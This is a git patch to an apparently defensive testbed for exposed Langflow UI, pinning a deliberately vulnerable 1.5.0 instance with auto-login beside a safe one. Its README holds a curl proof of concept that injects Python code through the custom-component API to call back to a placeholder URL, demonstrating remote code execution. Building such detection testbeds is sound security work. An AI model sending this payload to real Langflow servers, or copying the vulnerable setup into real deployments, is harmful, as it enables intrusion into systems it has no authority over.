From 20f8264b7bf5e6209506e43d7d5d57e3c0a92364 Mon Sep 17 00:00:00 2001
From: Robert Dick <robert@doyensec.com>
Date: Fri, 26 Jun 2026 10:46:46 -0400
Subject: [PATCH] fixed docker compose and updated readme

---
 langflow/exposedui/README.md          | 12 ++++----
 langflow/exposedui/docker-compose.yml | 40 ++++++++++++++++++++-------
 2 files changed, 35 insertions(+), 17 deletions(-)

diff --git a/langflow/exposedui/README.md b/langflow/exposedui/README.md
index 3ea8ae54..50ce9cc3 100644
--- a/langflow/exposedui/README.md
+++ b/langflow/exposedui/README.md
@@ -3,16 +3,14 @@
 Langflow is a tool for building and deploying AI-powered agents and workflows.
 This testbed demonstrates exposed and non-exposed configurations of langflow UI.
 
-## Safe setup
+**Note as of June 26th, 2026:**
 
-```shell
-LANGFLOW_AUTO_LOGIN=false docker compose up -d
-```
+Langflow's authentication has changed over time, and in later versions like 1.6.0, the LANGFLOW_AUTO_LOGIN variable is not sufficient to allow the RCE proof of concept. For this reason, the version is pinned to 1.5.0 for this testbed.
 
-## Vulnerable setup
+## Setup
 
 ```shell
-LANGFLOW_AUTO_LOGIN=true docker compose up -d
+docker compose up
 ```
 
 ## Reproduction Steps
@@ -23,7 +21,7 @@ Issue the following curl command to get a pingback from the docker compose.
 curl --path-as-is -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' \
     --data-binary $'{\"code\":\"import requests\\n\\nfrom langflow.custom import Component\\n\\nclass TsunamiComponent(Component):\\n    def __init__(self, *args, **kwargs):\\n        super().__init__(*args, **kwargs)\\n        requests.get(\\\"https://<YOUR CALLBACK URL>\\\", timeout=5)\\n\\n\"}' \
-    $'http://127.0.0.1:7860/api/v1/custom_component'
+    $'http://127.0.0.1:8081/api/v1/custom_component'
 ```
 
 - Safe instances will return `403 FORBIDDEN`
diff --git a/langflow/exposedui/docker-compose.yml b/langflow/exposedui/docker-compose.yml
index 218ee98c..dc5c6cfe 100644
--- a/langflow/exposedui/docker-compose.yml
+++ b/langflow/exposedui/docker-compose.yml
@@ -1,23 +1,43 @@
 services:
-  langflow:
-    image: langflowai/langflow:latest
+  langflow-vuln:
+    image: langflowai/langflow:1.5.0
     ports:
-      - "7860:7860"
+      - "8081:7860"
     depends_on:
-      - postgres
+      - postgres-vuln
     environment:
-      - LANGFLOW_DATABASE_URL=postgresql://langflow:langflow@postgres:5432/langflow
-      - LANGFLOW_AUTO_LOGIN
+      - LANGFLOW_DATABASE_URL=postgresql://langflow:langflow@postgres-vuln:5432/langflow
+      - LANGFLOW_AUTO_LOGIN=True
     networks:
-      - langflow
-  postgres:
+      - langflow-vuln
+  postgres-vuln:
     image: postgres:16
     environment:
       POSTGRES_USER: langflow
       POSTGRES_PASSWORD: langflow
       POSTGRES_DB: langflow
     networks:
-      - langflow
+      - langflow-vuln
+  langflow-safe:
+    image: langflowai/langflow:1.5.0
+    ports:
+      - "8082:7860"
+    depends_on:
+      - postgres-safe
+    environment:
+      - LANGFLOW_DATABASE_URL=postgresql://langflow:langflow@postgres-safe:5432/langflow
+      - LANGFLOW_AUTO_LOGIN=False
+    networks:
+      - langflow-safe
+  postgres-safe:
+    image: postgres:16
+    environment:
+      POSTGRES_USER: langflow
+      POSTGRES_PASSWORD: langflow
+      POSTGRES_DB: langflow
+    networks:
+      - langflow-safe
 
 networks:
-  langflow:
\ No newline at end of file
+  langflow-vuln:
+  langflow-safe:
\ No newline at end of file